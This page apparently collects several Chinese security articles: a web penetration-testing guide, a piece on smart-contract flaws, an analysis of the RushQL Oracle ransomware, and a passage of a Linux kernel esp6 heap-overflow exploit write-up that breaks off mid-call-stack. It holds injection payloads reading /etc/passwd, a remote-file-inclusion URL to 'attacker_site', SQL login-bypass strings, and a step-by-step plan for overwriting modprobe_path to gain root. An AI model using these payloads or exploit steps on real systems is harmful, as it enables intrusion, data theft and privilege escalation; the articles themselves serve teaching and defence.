[Portswigger-服务端模板注入](https://portswigger.net/blog/server-side-template-injection)
* 示例
<%= 7 * 7 %>
{{ 7 * 7 }}
#### 9.6 命令注入
用户注入操作系统的命令到Web应用程序并被执行，就发生了命令注入。
[OWASP-测试命令注入](https://www.owasp.org/index.php/Testing_for_Command_Injection_\(OTG-INPVAL-013))
* 示例
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Doc=Doc1.pdf+|+Dir c:\
#### 9.7 恶意重定向
当应用没有检查用户可控输入时，攻击者输入了恶意的URL并被应用接受时发生。
[OWASP-测试客户端恶意重定向](https://www.owasp.org/index.php/Testing_for_Client_Side_URL_Redirect_\(OTG-CLIENT-004))
* 示例
http://www.target.site?#redirect=www.fake-target.site
http://www.target.site??url=http://www.fake-target.site
#### 9.8 本地文件包含(LFI)
LFI指的是Web应用允许包含本地服务器端存在的文件。
[OWASP-测试本地文件包含](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* 示例
http://vulnerable_host/preview.php?file=../../../../etc/passwd
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
#### 9.9 远程文件包含(RFI)
RFI指的是Web应用允许包含远程服务器上存在的文件。
[OWASP-测试远程文件包含](https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)
* 示例
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
### 10\. 逻辑漏洞
想要发现逻辑漏洞，你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后，你才能推想哪里有可利用的地方。测试逻辑漏洞时，可以回想作为普通用户是如何使用Web应用的功能的，是如何一步一步完成各种动作的，然后你要做的就是不按照这些步骤来。
此外，这时候也可以测试下输入一些不切实际的值。(比如一款健生app，用户输入自己的跑步里程)。
这时也可以测试[非法文件上传](https://www.owasp.org/index.php/Unrestricted_File_Upload)。
### 11\. 加密算法漏洞
名称 | 描述
---|---
SSLyze | TLS/SSL分析工具
测试Web应用的TLS/SSL实现的质量，我推荐先去[这里](https://www.ssllabs.com/ssltest/)，如果搞不到，可以用`SSLyze`。
* 示例
sslyze --regular www.example.com
分析的目的可以归结为：
1. 目标是否使用了某种形式的加密手段。
2. 目标使用的加密手段是否已经过时(TLS 1.2, SSL2/SSl3)。
这时候也应该注意目标是否用了脆弱的加密算法(MD5,RC4等)，是否支持正向加密(译者注: 一次一密)等。
### 12\. 拒绝服务
拒绝服务是利用某种手段让目标无法为合法用户提供服务。拒绝服务的类型包括用户文件上传(上传巨大文件)到用户账户锁定(为了防止登录爆破)等。
如果存在载入很慢的页面或者是Ajax请求很卡，那么就意味着这个地方可能会被用于拒绝服务攻击。
### 13\. Flash漏洞
名称 | 描述
---|---
Firefox Developer Tools | Firefox浏览器自带的用于诊断、审计、调试客户端代码的工具
JPEXS (FFDec) | 开源的SWF文件反汇编工具
如果目标使用了flash或者其他的需要编译的客户端技术(如silverlight)，那么你应该下载下来然后利用`JPEXS
FFDec`这样的反汇编工具来审计他们的源代码。如果你成功的对他们进行了逆向工程，你可能会发现一些隐藏的漏洞。
## 0x04 测试Web服务
Web服务用于机器之间的数据交换，他们应该用之前介绍的方法进行测试(Mapping->漏洞挖掘->漏洞利用)，可以用`Burp`对请求进行拦截，然后分析接口返回的数据。
### 1\. 测试REST服务
如果有文档的话，测试REST服务之前应该阅读它。当然，这通常是白盒测试或者是灰盒测试时的做法，或者你想更深入的进行测试时也可以这么做。
在黑盒测试过程中，我们可以用`burp`拦截请求和响应，观察`JSON`格式的响应信息来了解接口的作用，但是这个过程非常麻烦，不是很推荐。
因为REST使用`http`协议，所以我们也可以测试之前的一些漏洞比如SQLi和XSS。
测试REST服务时可以参考以下文章：
* <https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf->
* <http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/>
* <https://www.owasp.org/index.php/REST_Assessment_Cheat_Sheet>
### 2\. 测试SOAP服务
名称 | 描述
---|---
Wsdler (BApp) | 可以解析WSDL文件，然后测试所有的允许的方法的请求
尽管如今我在渗透测试中观察到REST服务比SOAP服务更多，但还是应该注意它。
基于SOAP的Web服务有一点很好，就是他是通过WSDL文件自描述的。你可以用`Wsdler (BApp)`这样的工具来解析WSDL文件，然后用`Burp
Repeater`来发送测试请求。
和REST一样，我们也可以测试之前的一些漏洞比如SQLi和XSS。
* 检查任何一个在mapping和漏洞挖掘时发现的和服务有关的路径
* 比如，<http://exampleapplication.com/service>
* 查看WSDL文件获取接口信息然后导入Burp
* 在Burp Proxy的历史标签页，把WSDL文件通过`Parse WSDL`右键选项加入到Wsdler扩展
* 发送测试请求给Repeater，观察服务如何工作
测试SOAP服务时可以参考：
* <https://blog.netspi.com/hacking-web-services-with-burp/>
## 0x05 漏洞利用
> 在漏洞利用阶段，是利用之前发现的漏洞，评估他们影响范围与风险。
简单来说，这一步就是查阅之前步骤中你所发现与记录的信息，尽可能深地利用发现的漏洞。有时在漏洞利用过程中，你可能需要更高的权限才能进行下去，这时你应该返回去，从mapping步骤开始重新迭代之前的过程。
下面是一些示例场景，但这一步是非常独特的。
### 1\. 利用场景
### 2\. 利用XSS
#### 2.1 浏览器劫持
名称 | 描述
---|---
BeEF | 基于web的XSS平台
如果你发现目标应用确实存在XSS漏洞，这时你可以试试是否可以用`BeEF`这样的工具来控制目标浏览器。
可以参考[这篇](https://null-byte.wonderhowto.com/how-to/hack-like-pro-hack-web-browsers-with-beef-0159961/)。
你可以使用自己的浏览器来验证XSS漏洞的危害性当你向客户展示你发现的XSS漏洞时。
### 3\. 利用SQLi
#### 3.1 数据提取
名称 | 描述
---|---
SQLMap | 自动化的SQLi工具，可以检测和利用基于许多流行的关系型数据库的SQL注入漏洞
如果目标存在SQLi且为了提取数据，`SQLMap`是首选。
[SQLMap](http://sqlmap.org/)官网有详细的教程，我推荐你仔细看看。
#### 3.2 离线密码爆破
名称 | 描述
---|---
Hashcat | 世界上最快最先进的密码恢复工具
当你得到目标应用账户的密码时，可以尝试这个。
如果密码用了哈希算法加密，你可以用`hashcat`结合一个好的字典比如`rockyou.txt`来恢复密码。可以看[这篇](https://www.alpinesecurity.com/blog/offline-password-cracking-the-attack-and-the-best-defense-against-it)。
毋庸置疑，这将是您在渗透测试结束时可以为客户带来的最大发现之一。
#### 3.3 认证绕过
你可以尝试利用SQLi来提升自己的权限。网上有很多关于此的文章，下面这些payload你可以尝试在一些脆弱的表单里输入：
admin' -- admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'-- admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
### 4\. 跨站请求伪造(CSRF)
名称 | 描述
---|---
Burp: Generate CSRF PoC | 用于生成CSRF Poc的Burp模块
如果目标存在CSRF漏洞(`Burp Scanner`会发现)，你可以用`Generate CSRF PoC`来验证是否真的存在。
可以看[这篇](https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-)教程。
大概就下面这样：
1. 拦截一个HTTP请求(通常是修改账户信息的)
2. 在Burp中右键
3. Generating the CSRF PoC(修改一些请求体的信息)
4. 保存poc到一个html文件
5. 打开html文件并点击提交
6. 验证信息是否被恶意篡改
## 0x00 结尾
感谢阅读。 | 社区文章 |
# 区块链智能合约漏洞，想说补你不容易（干货）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近几天，区块链平台EOS智能合约漏洞事件再次把区块链安全推上了风口浪尖。攻击者可以通过发布包含恶意代码的“智能合约”，经过一系列的操作之后，控制区块链网络中的所有节点，从而为所欲为。从The
DAO到BEC，SocialChain，Hexagon，再到这几天的EOS漏洞，“智能合约”已经成为区块链安全的重灾区。那么什么是智能合约，智能合约的漏洞究竟给安全带来了什么样的新挑战，我们应该如何应对？
本文中，360代码卫士团队的安全专家将结合自身在区块链智能合约漏洞方面的研究成果和心得体会，从这几个方面进行深入解读。
**一、什么是智能合约？**
智能合约(smart contract) 这个术语是在1994 年由Nick Szabo
提出的，后来经过几次在不同环境下的重新定义。我们现在通常所说的区块链智能合约以以太坊为代表，以太坊的作者Vitalik Buterin
意识到，在区块链系统中，交易逻辑是可以和底层系统机制分离的。底层系统负责交易块的创建和验证，记账者的共识达成等基础功能，而交易本身到底做什么事情是可以通过二次编程的方式来定义的。因此他设计了一种交易代码执行的虚拟环境EVM，使用者可以开发自定义的交易逻辑，发布到链上，当交易进行时，链上所有的节点都执行相同的代码，从而同步改变链上数据的状态。他为这种代码使用了“智能合约”这个名字，这是我们目前通常所说的智能合约的内涵。
**二、智能合约漏洞，左右为难!**
智能合约本质是一段运行在区块链网络中的代码，它完成用户所赋予的业务逻辑。以以太坊体系的代币为例，其业务逻辑是代币发币和交易。以太坊在设计之初，将智能合约设计成了一旦部署就不能修改的模式。这种设计有可能是为了提高智能合约的可信性。
**但是我们知道，只要是由人编写的程序，就一定会出现错误和缺陷。以太坊这种设计本身就违背了程序设计的一般规律，在智能合约出现漏洞的时候可能会造成无法弥补的损失。**
我们可以看到，近期出现的以太坊体系智能合约的漏洞，造成了巨大的影响，有的代币也因此毁灭。
目前以太坊体系区块链智能合约的机制设计，加之漏洞可能带来的毁灭性影响，使得已上线智能合约的漏洞的报告和处理变得非常棘手。360代码卫士团队在近期的研究中发现了以太坊体系下多个已上市交易的代币的智能合约安全漏洞，并已第一时间报告厂商，但到目前为止厂商尚未作出任何回应。对于厂商来说，由于智能合约不可修改的特性，要对上线后发现的漏洞进行有效修复，只能选择重新部署新的合约，这将付出巨大的代价，因此有的厂商可能会选择不响应，不处理。而对于安全研究者来说，也面临尴尬的境地，左右为难。在厂商修补漏洞前公开漏洞细节对于厂商不利，有悖漏洞披露的一般原则，但如果厂商迟迟不修补漏洞，公众对于漏洞的存在不知情，风险会随着时间的增长迅速膨胀，漏洞一旦爆发可能会造成更大的危害，波及更大的人群，可能会造成很多人的投资瞬间化为乌有。接下来360代码卫士团队还将与厂商保持积极的联系和沟通，以期帮助其修复漏洞。
**三、智能合约漏洞，如何应对？**
在一些联盟链中，智能合约的设计是可以在部署之后更新的，当然这种更新需要一定的线下协商流程。要应对区块链智能合约的安全漏洞问题，未来需要普遍考虑设计相应的智能合约协商更新机制，降低漏洞修复的成本。
但现在，我们需要面对现实， **做出几乎唯一可行的、切实有效的努力** ——
**在智能合约上线之前，对其进行全面深入的代码安全审计，尽可能的消除漏洞，降低安全风险** 。
360代码卫士团队安全专家表示，当前区块链智能合约中可能出现的漏洞至少有20余种。以下列举一些常见的区块链智能合约的漏洞类型及其可能造成的风险，这些漏洞在智能合约上线之前，都应该进行详细的排查。
1. 整数溢出
* 智能合约中危险的数值操作
* 可能导致合约失效、无限发币等风险
2. 越权访问
* 智能合约中对访问控制处理不当
* 可能导致越权发币风险
3. 信息泄露
* 硬编码地址等
* 可能导致重要信息的泄露
4. 逻辑错误
* 代理转账函数缺失必要校验
* 可能导致基于重入漏洞的恶意转账等风险
5. 拒绝服务
* 循环语句、递归函数、外部合约调用等处理不当
* 可能导致无限循环、递归栈耗尽等拒绝服务风险
6. 函数误用
* 伪随机函数调用和接口函数实现问题
* 可能导致可预测随机数、接口函数返回异常等风险
**四、总结**
漏洞永远都会存在。未来区块链行业一定会出现更多的安全问题，之前传统互联网领域里面遇到的安全问题，区块链行业里面一定也会遇到。区块链行业要能够与网络安全行业做到协同开放，才能使行业更加健康稳定安全的发展。
360代码卫士团队现已推出区块链智能合约代码审计服务，帮助区块链项目提前排查智能合约安全风险。 | 社区文章 |
# Oracle数据库勒索病毒RushQL死灰复燃
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近，360终端安全实验室陆续接到数起用户反馈，中了Oracle数据库勒索病毒，中毒后的数据库应用界面会弹出下方类似的异常信息：
根据此信息，360终端安全实验室确认该病毒是RushQL数据库勒索病毒，是由于下载使用了破解版PL/SQL导致的。上面的告警声称，病毒是由“SQL RUSH
Team”组织发起，因此该病毒被命名为RushQL。此病毒最早在2016年11月出现，期间沉寂了1年多，直到最近，360终端安全实验室又陆续接到数起企业、事业单位用户遭受到此病毒的袭击事件，该病毒突然呈现出死灰复燃之势。
## 技术分析
RushQL病毒样本是在客户现场提取的，该样本是一个PL/SQL自带的AfterConnect.sql自动运行脚本，此文件一般在官方PL/SQL软件中是一个空文件，而该样本提取自破解版PL/SQL是有实际内容的，如下图所示：
此样本伪装成Oracle官方程序：
脚本的关键代码，采用了 Oracle数据库专用代码加密工具wrap进行了加密：
将该病毒脚本解密，其主要功能是创建4个存储过程和3个触发器，下面分别分析其功能。
PROCEDURE DBMS_SUPPORT_INTERNAL
此存储过程主要功能是：
如果当前日期 – 数据库创建日期 > 1200 天则：
1. 创建并备份sys.tab$表的数据到表 ORACHK || SUBSTR(SYS_GUID,10)；
2. 删除sys.tab$中的数据，条件是所有表的创建者ID 在（0,38）范围；
3. 循环2046次打印日志告警信息，并触发异常告警（见概述中的告警信息）；
PROCEDURE DBMS_STANDARD_FUN9
此存储过程的主要功能是：
1、动态执行PL/SQL脚本；
PROCEDURE DBMS_SYSTEM_INTERNAL
此存储过程主要功能是：
如果当前日期 – 数据表（不含SYSTEM, SYSAUX, EXAMPLE）的最小分析日期 > 1200
天，且当前客户端程序进程名不是“C89238.EXE”（这个“C89238.EXE”推测是制作者搞了个KillSwtich，当收取赎金后，以这个进程名访问数据库将不会导致数据库进入异常，从而为恢复数据提供便利）则：
1. 触发告警信息（见概述中的告警信息）；
PROCEDURE DBMS_CORE_INTERNAL
此存储过程主要功能是：
如果当前日期 – 数据表（不含SYSTEM, SYSAUX, EXAMPLE）的最小分析日期 > 1200 天，则：
1. 删除所有名字不含“$”且名称不是 ORACHK || SUBSTR(SYS_GUID,10)的数据表；
2. 如果当前客户端程序进程名不是“C89238.EXE”（这个“C89238.EXE”推测是制作者搞了个KillSwtich，当收取赎金后，以这个进程名访问数据库将不会导致数据库进入异常，从而为恢复数据提供便利）则触发告警信息（见概述中的告警信息）；
TRIGGER DBMS_SUPPORT_INTERNAL
此触发器的主要功能是：
1. 在数据库启动时执行存储过程“DBMS_SUPPORT_INTERNAL”
TRIGGER DBMS_SYSTEM_INTERNAL
此触发器的主要功能是：
1. 在登录数据库时执行存储过程“DBMS_SYSTEM_INTERNAL”
TRIGGER DBMS_CORE_INTERNAL
此触发器的主要功能是：
1. 在登录数据库时执行存储过程“DBMS_CORE_INTERNAL”
## 解决方案
从技术分析知道，病毒会根据数据库创建时间、数据库的数据分析时间等因素来判断是否发作，因此会有一个潜伏期，潜伏期病毒不发作时是没有明显症状的，这时该如何自查是否感染这种病毒呢？其实病毒感染数据库主要是通过4个存储过程和3个触发器完成，也即判断是否存在如下存储过程和触发器即可知道是否感染了RushQL病毒：
* 存储过程 DBMS_SUPPORT_INTERNAL
* 存储过程 DBMS_STANDARD_FUN9
* 存储过程 DBMS_SYSTEM_INTERNA
* 存储过程 DBMS_CORE_INTERNAL
* 触发器 DBMS_SUPPORT_INTERNAL
* 触发器 DBMS_ SYSTEM _INTERNAL
* 触发器 DBMS_ CORE _INTERNAL
一旦不幸感染了这种病毒该如何处置？从技术分析知道，病毒删除数据是由存储过程DBMS_SUPPORT_INTERNAL 和
DBMS_CORE_INTERNAL来执行的，他们的执行条件分别是：
1. 当前日期 – 数据库创建日期 > 1200 天
2. 当前日期 – 数据表（不含SYSTEM, SYSAUX, EXAMPLE）的最小分析日期 > 1200 天
当以上条件不满足时，病毒不会触发删除数据的操作，此时删除以上4个存储过程和3个触发器即可。
如果前面的2个条件中任何一个满足，就会出现数据删除操作，下面给出应对措施：
1. （当前日期 – 数据库创建日期 > 1200 天） 且 （当前日期 – 数据表（不含SYSTEM, SYSAUX, EXAMPLE）的最小分析日期 <= 1200 天）
A.删除4个存储过程和3个触发器
B.使用备份把表恢复到truncate之前
C.使用ORACHK开头的表恢复tab$
D.使用DUL恢复（不一定能恢复所有的表，如truncate的空间已被使用）
2. （当前日期 – 数据库创建日期 > 1200 天） 且 （当前日期 – 数据表（不含SYSTEM, SYSAUX, EXAMPLE）的最小分析日期 > 1200 天）
A.删除4个存储过程和3个触发器
B.使用备份把表恢复到truncate之前
C.使用DUL恢复（不一定能恢复所有的表，如truncate的空间已被使用）
## 影响范围统计
下图是我们监控到的该病毒发展趋势：
从图中可看到，此病毒在2018年6月开始出现复发趋势，到8月是个小高峰，这和我们接到的反馈次数是大致相符的。
我们还查询了此病毒索要赎金比特币地址交易量：
可以看到，该地址比特币交易量为0 BTC，这说明没有任何受害者向病毒传播者支付赎金。
## 安全建议
本病毒追根溯源是由于用户缺乏软件安全意识，下载了破解版PL/SQL导致的，为此软件供应链安全应为人们所重视，360天擎推出的软件管家可解决此类问题。软件管家背后由专业的安全团队运作，帮助用户把好软件安全关，使得用户下载软件时不必担心软件来源是否安全，免去用户下载软件的不便。
此外对没有中毒或者希望自查的用户，可以使用360天擎进行扫描排查，目前360天擎支持此病毒的检测和查杀，请将病毒库升级至2018-11-14以后版本（此版本未完全放量，部分用户可能需要延迟一段时间才能升级成功）。
## 参考链接
[https://blogs.oracle.com/cnsupport_news/%E5%AF%B9%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E2%80%9C%E6%AF%94%E7%89%B9%E5%B8%81%E6%94%BB%E5%87%BB%E2%80%9D%E5%8F%8A%E9%98%B2%E6%8A%A4](https://blogs.oracle.com/cnsupport_news/%25E5%25AF%25B9%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593%25E7%259A%2584%25E2%2580%259C%25E6%25AF%2594%25E7%2589%25B9%25E5%25B8%2581%25E6%2594%25BB%25E5%2587%25BB%25E2%2580%259D%25E5%258F%258A%25E9%2598%25B2%25E6%258A%25A4)
## 关于360终端安全实验室
360终端安全实验室由多名经验丰富的恶意代码研究专家组成，重点着力于常见病毒、木马、蠕虫、勒索软件等恶意代码的原理分析和研究，致力为中国政企客户提供快速的恶意代码预警和处置服务，在曾经流行的WannaCry、Petya、Bad
Rabbit的恶意代码处置过程中表现优异，受到政企客户的广泛好评。
依托360在互联网为13亿用户提供终端安全防护的经验积累，360终端安全实验室以360天擎新一代终端安全管理系统为依托，为客户提供简单有效的终端安全管理理念、完整的终端解决方案和定制化的安全服务，帮助广大政企客户解决内网安全与管理问题，保障政企终端安全。
## 关于360天擎新一代终端安全管理系统
360天擎新一代终端安全管理系统是360企业安全集团为解决政企机构终端安全问题而推出的一体化解决方案，是中国政企客户3300万终端的信赖之选。系统以功能一体化、平台一体化、数据一体化为设计理念，以安全防护为核心，以运维管控为重点，以可视化管理为支撑，以可靠服务为保障，能够帮助政企客户构建终端防病毒、入侵防御、安全管理、软件分发、补丁管理、安全U盘、服务器加固、安全准入、非法外联、运维管控、主机审计、移动设备管理、资产发现、身份认证、数据加密、数据防泄露等十六大基础安全能力，帮助政企客户构建终端威胁检测、终端威胁响应、终端威胁鉴定等高级威胁对抗能力，为政企客户提供安全规划、战略分析和安全决策等终端安全治理能力。 | 社区文章 |
**作者: f-undefined团队 v1n3gar
原文链接：<https://mp.weixin.qq.com/s/JPbwYA2sS9jCMMgwBxONjg>**
**知识点** ：
（1）使用 `msg_msg` 构造任意写来篡改 `modprobe_path`， **通过 FUSE 来处理页错误**
（克服5.11版本之后用户没有userfaultfd权限的问题，肯定有一大波CTF题将要效仿）。
（2）由于漏洞对象位于 `8-page`，已经不能用常规的堆喷（slub allocator）来利用了，得利用 **页喷射** （buddy
system），作者分析了伙伴系统的源码，可以学习页喷知识（主要采用 `ring_buffer` 进行页喷和页风水，值得学习）。某种程度上来说本漏洞是一种
`cross-cache overflow`，从一个页溢出覆盖到下一个页上的cache（因为页上可以含有cache也可以是单纯的页）。
（3）采用新的弹性对象来泄露信息，也即
**`user_key_payload`弹性对象**，由于长度变量和数据在一起，所以不担心溢出时覆盖到指针（限制是只能分配最多200个最长20000字节）。
**影响版本** ：Linux-v5.17-rc8 以前，v5.17-rc8已修补。
**测试版本** ：Linux-v5.16.14 [exploit及测试环境下载地址](https://github.com/bsauce/kernel-exploit-factory)
**编译选项** ：所有和 `INET6` / `TUNNEL` / `XFRM` / `CONFIG_NET_KEY` /
`CONFIG_NF_SOCKET_IPV6` 相关的选项都勾上y，特别是以下选项。
CONFIG_XFRM_ESP=y
CONFIG_INET_ESP=y
CONFIG_INET_ESP_OFFLOAD=y
CONFIG_INET6_ESP=y
CONFIG_INET6_ESP_OFFLOAD=y
在编译时将`.config`中的`CONFIG_E1000`和`CONFIG_E1000E`，变更为=y。[参考](https://blog.csdn.net/qq_16097611/article/details/104965045)
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.16.14.tar.xz
$ tar -xvf linux-5.16.14.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。
**漏洞描述** ：位于目录 `net/ipv4/esp4.c` 和 `net/ipv6/esp6.c` 中的 IPsec ESP
transformation
代码存在堆溢出。漏洞自2017年引入（[cac2661c53f3](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f35cbe651bef9b07026a5a05ab8ce0)
/
[03e2a30f6a27](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=03e2a30f6a27e2f3e5283b777f6ddd146b38c738)）。
本漏洞能够在最新的 Ubuntu 21.10 上提权，来自于pwn2own 2022，能够影响 Ubuntu / Fedora / Debian。首次进行
page-level heap fengshui 和 cross-cache overflow（环境：4G内存，2 CPU）。
**补丁**
：[patch](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ebe48d368e97d007bfeb76fcb065d6cfc4c96645)
补丁引入 `ESP_SKB_FRAG_MAXSIZE`，大小为 32768 ，也就是 8-page，如果 `allocsize` 大于8页，则跳转到
`COW`。
diff --git a/include/net/esp.h b/include/net/esp.h
index 9c5637d41d951..90cd02ff77ef6 100644
--- a/include/net/esp.h
+++ b/include/net/esp.h
@@ -4,6 +4,8 @@
#include <linux/skbuff.h>
+#define ESP_SKB_FRAG_MAXSIZE (PAGE_SIZE << SKB_FRAG_PAGE_ORDER)
+
struct ip_esp_hdr;
static inline struct ip_esp_hdr *ip_esp_hdr(const struct sk_buff *skb)
diff --git a/net/ipv4/esp4.c b/net/ipv4/esp4.c
index e1b1d080e908d..70e6c87fbe3df 100644
--- a/net/ipv4/esp4.c
+++ b/net/ipv4/esp4.c
@@ -446,6 +446,7 @@ int esp_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *
struct page *page;
struct sk_buff *trailer;
int tailen = esp->tailen;
+ unsigned int allocsz;
/* this is non-NULL only with TCP/UDP Encapsulation */
if (x->encap) {
@@ -455,6 +456,10 @@ int esp_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *
return err;
}
+ allocsz = ALIGN(skb->data_len + tailen, L1_CACHE_BYTES);
+ if (allocsz > ESP_SKB_FRAG_MAXSIZE)
+ goto cow;
+
if (!skb_cloned(skb)) {
if (tailen <= skb_tailroom(skb)) {
nfrags = 1;
diff --git a/net/ipv6/esp6.c b/net/ipv6/esp6.c
index 7591160edce14..b0ffbcd5432d6 100644
--- a/net/ipv6/esp6.c
+++ b/net/ipv6/esp6.c
@@ -482,6 +482,7 @@ int esp6_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info
struct page *page;
struct sk_buff *trailer;
int tailen = esp->tailen;
+ unsigned int allocsz;
if (x->encap) {
int err = esp6_output_encap(x, skb, esp);
@@ -490,6 +491,10 @@ int esp6_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info
return err;
}
+ allocsz = ALIGN(skb->data_len + tailen, L1_CACHE_BYTES);
+ if (allocsz > ESP_SKB_FRAG_MAXSIZE)
+ goto cow;
+
if (!skb_cloned(skb)) {
if (tailen <= skb_tailroom(skb)) {
nfrags = 1;
**保护机制** ：KASLR / SMEP / SMAP
**利用总结** ：主要利用过程位于 `loop()` 函数：
（1）初始化：设置CPU affinity，设置漏洞socket（文件描述符存在 `r[1]`）；
（2）缓解噪声（避免 order-2 从 order-3 取页 或者 order-2 的页合并到 order-3，影响到漏洞对象的排布）：
* （2-1）耗尽 order-0/1/2 的 freelist：喷射0x1000个大小为0x1000的 `ring_buffer`；
* （2-2）分配 `(10*100*2)` 个 4-page，释放一半：采用 `ring_buffer`；
* （2-3）释放 `(2-1)` 中堆喷的对象；
（3）泄露 `msg_msg->next`（尝试9次）：堆上布局3个相邻的对象—— `vul object` -> `user_key_payload`
-> `msg_msg`。
* （3-1）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x2000 个大小为 0x8000 的 `ring_buffer`；
* （3-2）耗尽 kmalloc-4k，使得分配 `user_key_payload` 时从 buddy system 取页（order-3）：调用 `setxattr()` 分配 `0x50*8` 个 kmalloc-4k；
* （3-3） **分配3个连续的 8-page 占位对象** ：采用 `ring_buffer` 对象；
* （3-4） **释放第2个占位对象** ，分配1个8-page slab（分配1个 `user_key_payload` 和7个 `setxattr()`）；
* （3-5）喷射 100 个 `seq_operations` 对象，便于之后泄露内核基址；
* （3-6） **释放第3个占位对象** ，分配1个8-page slab（喷射16个 `msg_msg`，位于 kmalloc-4k / kmalloc-32）；
* （3-7） **释放第1个占位对象** ，分配漏洞对象，触发越界写来修改 `user_key_payload->datalen`；
* （3-8）通过 `user_key_payload` 进行越界读，泄露 `msg_msg->next`；
（4）泄露内核基址（尝试50次）：堆上布局2个相邻的对象——`vul object` -> `msg_msg`。
* （4-1）耗尽 kmalloc-4k，使得分配 `msg_msg` 时从 buddy system 取页（order-3）：堆喷0x100个大小为0x1000 的 `ring_buffer`；
* （4-2）耗尽 order-3 的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x100 个大小为 0x8000 大小的 `ring_buffer`；
* （4-3） **分配8*2个连续的 8-page 占位对象（占位对象）** ：采用 `ring_buffer` 对象；
* （4-4） **释放第2个占位对象** ，分配1个8-page slab （分配 9 个 `msg_msg`，位于 kmalloc-4k / kmalloc-32）；
* （4-5） **释放第1个占位对象** ，分配漏洞对象，触发越界写来修改 `msg_msg->m_ts` & `msg_msg->next` （改成上一步泄露的 `msg_msg->next`）；
* （4-6）通过 `msg_msg` 进行越界读，泄露 `seq_operations->start / stop / next` 指针；
（5）篡改 `modprobe_path` 提权（尝试50次）：堆上布局2个相邻的对象——`vul object` -> `msg_msg`。 \-（5-1）设置 FUSE，页错误处理地址为 `fuse_evil_addr = 0x1339000`（FUSE的 `evil_read_pause()`
函数在处理页错误时，会往该地址写入字符串 `/tmp/get_rooot\x00`，也即提权程序）； \- （5-2）耗尽 order-3
的freelist，使得堆排布时从 order-4 取页，保证8-page 相邻：喷射 0x100 个大小为 0x8000 大小的
`ring_buffer`； \- （5-3） **分配2个连续的 8-page 占位对象（占位对象）** ：采用 `ring_buffer` 对象； \-（5-4） **释放第2个占位对象** ，分配1个8-page slab （分配 9 个 `msg_msg`，位于 kmalloc-4k /
kmalloc-32）（注意，用户message地址设置为 `fuse_evil_addr-8 ==
0x1339000-8`，以便在内核拷贝消息时触发页错误而暂停）； \- （5-5） **释放第1个占位对象** ，分配漏洞对象，触发越界写来修改
`msg_msg->next`（改成 `modprobe_path-8`）； \- （5-6）通过写pipe来通知 FUSE 的
`evil_read_pause()` 函数，结束页错误处理，使得 `msg_msg` 消息完成拷贝，篡改 `modprobe_path`； \-（5-7）执行错误binary文件触发modprobe，完成提权。
* * *
## 1\. 漏洞分析
**简介** ：漏洞来自 Linux esp6 crypto 模块，接收缓冲区是 8-page，但发送者可以发送大于 8-page 的数据，导致页溢出。
### 1-1 漏洞对象创建
**漏洞对象创建**
：[esp6_output_head()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6.c#L513)
负责创建 receive buffer，`allocsize` 变量不重要，因为
[skb_page_frag_refill()](https://elixir.bootlin.com/linux/v5.16.14/source/net/core/sock.c#L2705)
会默认分配 8-page 内存（order-3 pages）。
**调用栈**
：[sendmsg()](https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2504)
->
[__sys_sendmsg()](https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2495)
->
[___sys_sendmsg()](https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2466)
->
[____sys_sendmsg()](https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L2412)
->
[sock_sendmsg()](https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L724)
->
[sock_sendmsg_nosec()](https://elixir.bootlin.com/linux/v5.16.14/source/net/socket.c#L704)
->
[rawv6_sendmsg()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/raw.c#L956)
->
[rawv6_push_pending_frames()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/raw.c#L613)
->
[ip6_push_pending_frames()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L1935)
->
[ip6_send_skb()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L1915)
->
[ip6_local_out()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/output_core.c#L161)
->
[dst_output()](https://elixir.bootlin.com/linux/v5.16.14/source/include/net/dst.h#L450)
->
[xfrm6_output()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/xfrm6_output.c#L94)
->
[NF_HOOK_COND()](https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/netfilter.h#L287)
->
